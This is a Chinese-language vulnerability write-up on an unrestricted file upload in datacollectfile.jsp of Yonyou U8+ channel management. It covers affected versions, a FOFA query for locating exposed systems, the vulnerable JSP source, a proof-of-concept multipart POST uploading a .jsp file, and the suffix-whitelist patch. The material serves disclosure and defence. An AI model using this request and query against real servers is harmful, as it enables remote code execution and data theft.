用友U8+渠道管理(高级版) datacollectfile.jsp 文件上传漏洞


漏洞简介

用友U8+是用友公司推出的企业管理软件套件,广泛应用于财务、供应链、人力资源等多个业务领域。在U8+渠道管理(高级版)模块中,存在一处文件上传漏洞,位于其 datacollectfile.jsp 文件中。攻击者可通过构造特定的HTTP请求,将恶意脚本或可执行文件上传至服务器。该漏洞可能导致攻击者在目标服务器上执行任意代码,从而获取服务器控制权限,进一步窃取敏感数据、篡改业务数据或对内网其他系统发起攻击。

影响版本

V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13

fofa语法

title="渠道管理(高级版)"

漏洞分析

根据补丁变化

直接看 datacollectfile.jsp 文件里有关文件处理的实现逻辑

<%
        com.gxfcsoft.framework.base.util.UserState us = com.gxfcsoft.framework.action.users.UserManager.getUserBySessionId(session.getId());

        String month = "";
        String affix = "";
        String fileFullName = "";
        if(ServletFileUpload.isMultipartContent(request)){
          ServletFileUpload upload = new ServletFileUpload(new DiskFileItemFactory());
          upload.setHeaderEncoding("UTF-8");
          java.util.List<FileItem> fileItems = upload.parseRequest(request);
          for(FileItem fileItem : fileItems){
            if(fileItem.isFormField()){
              String fieldname = fileItem.getFieldName();
              if("month".equals(fieldname)){
                      month = fileItem.getString("UTF-8");  
              }
            }else{
              affix = fileItem.getName();
              String path = com.gxfcsoft.framework.base.util.PathUtil.getUserFile()+"temp"+java.io.File.separator;
              String fieldID = com.gxfcsoft.framework.base.util.UUID.getID();
                    if(affix.indexOf(".")!=-1)
                            fieldID +=affix.substring(affix.lastIndexOf("."));
                    fileFullName = path+fieldID;
                    java.io.File saveFilepath=new java.io.File(fileFullName);
                    fileItem.write(saveFilepath);
            }
          }
        }
        %>

文件后缀从上传文件名中获取,然后拼接到uuid后面形成新的文件名,期间对文件类型和内容无校验或过滤,因此造成任意文件上传漏洞,非常朴实无华!和U8+渠道管理(高级版) sendmail.jsp 文件上传漏洞 差不多的漏洞原因。

漏洞复现

POST /business/common/view/datacollectfile.jsp HTTP/1.1
Host: u8.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycIJMmIz8L5Q1Q8M6

------WebKitFormBoundarycIJMmIz8L5Q1Q8M6
Content-Disposition: form-data; name="file"; filename="1.jsp"

UPLOAD_TEST
------WebKitFormBoundarycIJMmIz8L5Q1Q8M6--

在响应里成功回显上传文件的完整路径,直接访问访问上传文件

img

成功执行我们上传代码

官方补丁修复也很直接,直接正则检测后缀是否为白名单

参考


手机扫码阅读

索贝融媒体 /sobey-mchEditor/watermark/upload 文件上传漏洞

用友NC importExcelTemplate 任意文件上传漏洞

评 论